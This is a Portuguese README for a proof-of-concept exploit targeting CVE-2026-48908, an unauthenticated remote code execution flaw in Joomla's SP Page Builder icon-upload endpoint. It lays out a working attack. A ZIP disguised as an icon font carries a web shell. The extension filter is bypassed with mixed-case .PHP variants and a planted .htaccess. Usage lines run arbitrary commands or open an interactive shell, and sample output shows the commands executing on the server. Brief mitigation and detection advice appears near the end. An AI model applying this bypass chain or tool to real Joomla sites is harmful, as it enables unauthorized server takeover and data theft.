
Exploit de prova de conceito para CVE-2026-48908, um RCE não autenticado no Joomla SP Page Builder via upload arbitrário de arquivo, com entrega adaptativa de payload e limpeza.
Exploit de prova de conceito para CVE-2026-48908, uma vulnerabilidade crítica (CVSS 4.0 = 10.0) de execução remota de código não autenticada no componente SP Page Builder (com_sppagebuilder) do Joomla, da JoomShaper.
| CVE | CVE-2026-48908 |
| Fraqueza | CWE-284 Controle de Acesso Inadequado → Upload Arbitrário de Arquivo Não Autenticado → RCE |
| Componente | SP Page Builder (com_sppagebuilder) para Joomla |
| Afetado | 1.0.0 – 6.6.1 |
| Corrigido em | 6.6.2 |
| Privilégios necessários | Nenhum (pré-autenticação) |
| Interação do utilizador | Nenhuma |
SP Page Builder expõe a tarefa do controlador asset.uploadCustomIcon para lidar com o upload de um pacote de fontes de ícones personalizado:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
Nas versões afetadas, esta tarefa é acessível sem autenticação e sem um token anti-CSRF válido. Ela aceita um arquivo ZIP (campo multipart custom_icon) e extrai seu conteúdo em um diretório servido publicamente sob a raiz do documento:
/media/com_sppagebuilder/assets/iconfont/<name>/ (incluindo a subpasta fonts/)
Como o upload é acessível sem autenticação e os arquivos extraídos vão parar na raiz web, um atacante pode gravar arquivos controlados por ele em um local navegável e acessá-los via HTTP.
Algumas versões adicionam um filtro de nome de arquivo no lado do servidor nas entradas do arquivo. Este PoC derrota uma implementação comum dele com uma cadeia de três etapas:
.php, .phtml, .phar, .php3–.php8, .pht, .inc em minúsculas, … mas ele não normaliza maiúsculas/minúsculas, então .PHP (e outras variantes de caixa mista) e .htaccess passam.<FilesMatch "\.php$">) só executa .php em minúsculas, então um .PHP enviado é inicialmente servido como texto fonte, não executado..htaccess. Um .htaccess (que a lista de bloqueio também não captura) contendo AddType application/x-httpd-php .PHP é colocado junto com o payload. Onde AllowOverride permite, isso registra .PHP como PHP e o shell enviado executa.O PoC sempre empacota uma estrutura válida de fontes de ícones (selection.json, style.css, fonts/<name>.ttf) para que o upload seja aceito, e então adiciona o shell.
Adaptativo — ele percorre uma lista de extensões executáveis de PHP (menor pegada primeiro), depois um fallback .htaccess, e para no primeiro que realmente executa código:
fonts/<shell>.<ext> para cada um de php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Sem .htaccess. Diferentes filtros do SP Page Builder bloqueiam conjuntos diferentes, e diferentes configurações do Apache executam extensões diferentes — então isso encontra qualquer combinação que o alvo permite e executa.fonts/.htaccess + fonts/<shell>.PHP (fallback) — apenas se todas as tentativas diretas falharem. O .htaccess colocado (AddType … .PHP) força um .PHP maiúsculo a executar onde AllowOverride permite (é disso que hosts no estilo 5.4.6 precisam).Ele para no primeiro método que executa e imprime qual deles funcionou. Cada upload aceito é rastreado, então --cleanup remove todos eles (várias tentativas podem deixar diretórios somente gravação).
Dependendo da versão e do hardening do servidor, o resultado varia, e o PoC afirma explicitamente (veja Resultados abaixo): RCE completo, apenas gravação de arquivo (PHP desabilitado /
AllowOverride None), corrigido (somente admin), ou não vulnerável.
pip install -r requirements.txt # requests
# confirmar a vulnerabilidade e provar execução de código (executa `id`)
python3 sppb_rce.py https://target.example
# executar um comando específico
python3 sppb_rce.py --url target.example -c "uname -a"
# pseudo-shell interativo
python3 sppb_rce.py https://target.example --shell
# apenas verificar; não executar comando
python3 sppb_rce.py https://target.example --check
# remover o diretório de payload enviado depois
python3 sppb_rce.py https://target.example --cleanup
O alvo pode ser fornecido como argumento posicional ou via --url, com ou sem esquema.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
O PoC sempre informa o veredito para o alvo:
| Saída | Significado | Saída |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | Vulnerável — RCE completo sem autenticação | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Apenas gravação de arquivo (AllowOverride None / PHP desabilitado em /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Corrigido — upload agora requer autenticação de admin | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Não explorável / componente ausente | 2 |
404 para qualquer um sem ele — não é uma backdoor totalmente aberta.--cleanup exclui o diretório de payload que criou.id, um marcador aritmético)./media/, /images/, /tmp) via o pool FPM ou php_admin_flag engine off.AllowOverride None nesses diretórios para que um .htaccess colocado não possa reativar manipuladores..php/.PHP inesperados em media/.../iconfont/, novas contas de Super Usuário e gerenciadores de arquivos plantados.Exploit Joomla SP Page Builder · com_sppagebuilder RCE não autenticado · CVE-2026-48908 PoC · asset.uploadCustomIcon upload arbitrário de arquivo · Execução remota de código Joomla · script de exploit para pentest.